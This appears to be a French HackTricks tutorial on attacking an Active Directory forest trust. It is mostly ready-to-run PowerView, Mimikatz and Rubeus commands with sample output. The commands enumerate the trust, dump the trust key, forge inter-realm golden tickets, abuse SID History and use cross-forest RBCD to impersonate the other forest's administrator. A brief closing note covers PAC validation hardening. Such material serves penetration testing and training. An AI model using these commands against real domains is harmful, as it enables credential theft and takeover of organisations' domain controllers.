Domaine de forĂȘt externe - OneWay (Inbound) ou bidirectionnel

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Dans ce scĂ©nario, un domaine externe vous fait confiance (ou les deux se font mutuellement confiance), vous pouvez donc obtenir une forme d’accĂšs sur ce domaine.

ÉnumĂ©ration

Tout d’abord, vous devez Ă©numĂ©rer la relation de confiance :

Get-DomainTrust
SourceName      : a.domain.local   --> Current domain
TargetName      : domain.external  --> Destination domain
TrustType       : WINDOWS-ACTIVE_DIRECTORY
TrustAttributes :
TrustDirection  : Inbound          --> Inboud trust
WhenCreated     : 2/19/2021 10:50:56 PM
WhenChanged     : 2/19/2021 10:50:56 PM

# Get name of DC of the other domain
Get-DomainComputer -Domain domain.external -Properties DNSHostName
dnshostname
-----------
dc.domain.external

# Groups that contain users outside of its domain and return its members
Get-DomainForeignGroupMember -Domain domain.external
GroupDomain             : domain.external
GroupName               : Administrators
GroupDistinguishedName  : CN=Administrators,CN=Builtin,DC=domain,DC=external
MemberDomain            : domain.external
MemberName              : S-1-5-21-3263068140-2042698922-2891547269-1133
MemberDistinguishedName : CN=S-1-5-21-3263068140-2042698922-2891547269-1133,CN=ForeignSecurityPrincipals,DC=domain,
DC=external

# Get name of the principal in the current domain member of the cross-domain group
ConvertFrom-SID S-1-5-21-3263068140-2042698922-2891547269-1133
DEV\External Admins

# Get members of the cros-domain group
Get-DomainGroupMember -Identity "External Admins" | select MemberName
MemberName
----------
crossuser

# Lets list groups members
## Check how the "External Admins" is part of the Administrators group in that DC
Get-NetLocalGroupMember -ComputerName dc.domain.external
ComputerName : dc.domain.external
GroupName    : Administrators
MemberName   : SUB\External Admins
SID          : S-1-5-21-3263068140-2042698922-2891547269-1133
IsGroup      : True
IsDomain     : True

# You may also enumerate where foreign groups and/or users have been assigned
# local admin access via Restricted Group by enumerating the GPOs in the foreign domain.

# Additional trust hygiene checks (AD RSAT / AD module)
Get-ADTrust -Identity domain.external -Properties SelectiveAuthentication,SIDFilteringQuarantined,SIDFilteringForestAware,TGTDelegation,ForestTransitive

SelectiveAuthentication/SIDFiltering* vous permettent de voir rapidement si des chemins d’abus inter-forĂȘts (RBCD, SIDHistory) sont susceptibles de fonctionner sans prĂ©requis supplĂ©mentaires.

Dans l’énumĂ©ration prĂ©cĂ©dente, il a Ă©tĂ© trouvĂ© que l’utilisateur crossuser appartient au groupe External Admins, qui dispose d’un accĂšs administrateur au DC du domaine externe.

Initial Access

Si vous n’avez pas trouvĂ© d’accĂšs particulier pour votre utilisateur dans l’autre domaine, vous pouvez revenir Ă  la AD Methodology et essayer de privesc from an unprivileged user (des choses comme kerberoasting par exemple) :

Vous pouvez utiliser les fonctions Powerview pour Ă©numĂ©rer l’autre domaine en utilisant le paramĂštre -Domain comme dans :

Get-DomainUser -SPN -Domain domain_name.local | select SamAccountName

Active Directory Methodology

Impersonation

Connexion

En utilisant une mĂ©thode standard avec les identifiants d’un utilisateur ayant accĂšs au domaine externe, vous devriez pouvoir accĂ©der Ă  :

Enter-PSSession -ComputerName dc.external_domain.local -Credential domain\administrator

Abus de SID History

Vous pouvez Ă©galement abuser de SID History Ă  travers un trust de forĂȘt.

Si un utilisateur est migrĂ© d’une forĂȘt Ă  une autre et que SID Filtering n’est pas activĂ©, il devient possible d’ajouter un SID provenant de l’autre forĂȘt, et ce SID sera ajoutĂ© au jeton de l’utilisateur lors de l’authentification Ă  travers le trust.

Warning

Pour rappel, vous pouvez obtenir la clé de signature avec

Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.domain.local

Vous pouvez signer avec la clĂ© trusted un TGT impersonating l’utilisateur du domaine actuel.

# Get a TGT for the cross-domain privileged user to the other domain
Invoke-Mimikatz -Command '"kerberos::golden /user:<username> /domain:<current domain> /SID:<current domain SID> /rc4:<trusted key> /target:<external.domain> /ticket:C:\path\save\ticket.kirbi"'

# Use this inter-realm TGT to request a TGS in the target domain to access the CIFS service of the DC
## We are asking to access CIFS of the external DC because in the enumeration we show the group was part of the local administrators group
Rubeus.exe asktgs /service:cifs/dc.doamin.external /domain:dc.domain.external /dc:dc.domain.external /ticket:C:\path\save\ticket.kirbi /nowrap

# Now you have a TGS to access the CIFS service of the domain controller

ProcĂ©dĂ© complet d’usurpation de l’utilisateur

# Get a TGT of the user with cross-domain permissions
Rubeus.exe asktgt /user:crossuser /domain:sub.domain.local /aes256:70a673fa756d60241bd74ca64498701dbb0ef9c5fa3a93fe4918910691647d80 /opsec /nowrap

# Get a TGT from the current domain for the target domain for the user
Rubeus.exe asktgs /service:krbtgt/domain.external /domain:sub.domain.local /dc:dc.sub.domain.local /ticket:doIFdD[...snip...]MuSU8= /nowrap

# Use this inter-realm TGT to request a TGS in the target domain to access the CIFS service of the DC
## We are asking to access CIFS of the external DC because in the enumeration we show the group was part of the local administrators group
Rubeus.exe asktgs /service:cifs/dc.doamin.external /domain:dc.domain.external /dc:dc.domain.external /ticket:doIFMT[...snip...]5BTA== /nowrap

# Now you have a TGS to access the CIFS service of the domain controller

Cross-forest RBCD lorsque vous contrĂŽlez un compte machine dans la forĂȘt de confiance (no SID filtering / selective auth)

Si votre foreign principal (FSP) vous place dans un groupe pouvant Ă©crire des objets ordinateur dans la forĂȘt de confiance (par ex., Account Operators, groupe de provisionnement personnalisĂ©), vous pouvez configurer Resource-Based Constrained Delegation sur un hĂŽte cible de cette forĂȘt et vous faire passer pour n’importe quel utilisateur de celle-ci :

# 1) From the trusted domain, create or compromise a machine account (MYLAB$) you control
# 2) In the trusting forest (domain.external), set msDS-AllowedToAct on the target host for that account
Set-ADComputer -Identity victim-host$ -PrincipalsAllowedToDelegateToAccount MYLAB$
# or with PowerView
Set-DomainObject victim-host$ -Set @{'msds-allowedtoactonbehalfofotheridentity'=$sidbytes_of_MYLAB}

# 3) Use the inter-forest TGT to perform S4U to victim-host$ and get a CIFS ticket as DA of the trusting forest
Rubeus.exe s4u /ticket:interrealm_tgt.kirbi /impersonate:EXTERNAL\Administrator /target:victim-host.domain.external /protocol:rpc

Cela ne fonctionne que lorsque SelectiveAuthentication is disabled et que SID filtering ne supprime pas votre SID de contrĂŽle. C’est un chemin latĂ©ral rapide qui Ă©vite SIDHistory forging et qui est souvent manquĂ© lors des revues de trust.

Renforcement de la validation PAC

Les mises Ă  jour de la validation de signature PAC pour CVE-2024-26248/CVE-2024-29056 ajoutent une exigence de signature sur les tickets inter-forest. En Compatibility mode, les chemins forgĂ©s inter-realm PAC/SIDHistory/S4U peuvent encore fonctionner sur des DCs non corrigĂ©s. En Enforcement mode, les donnĂ©es PAC non signĂ©es ou altĂ©rĂ©es traversant un forest trust sont rejetĂ©es, sauf si vous possĂ©dez Ă©galement la clĂ© de trust de la forĂȘt cible. Les overrides du registre (PacSignatureValidationLevel, CrossDomainFilteringLevel) peuvent affaiblir cela tant qu’ils restent disponibles.

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks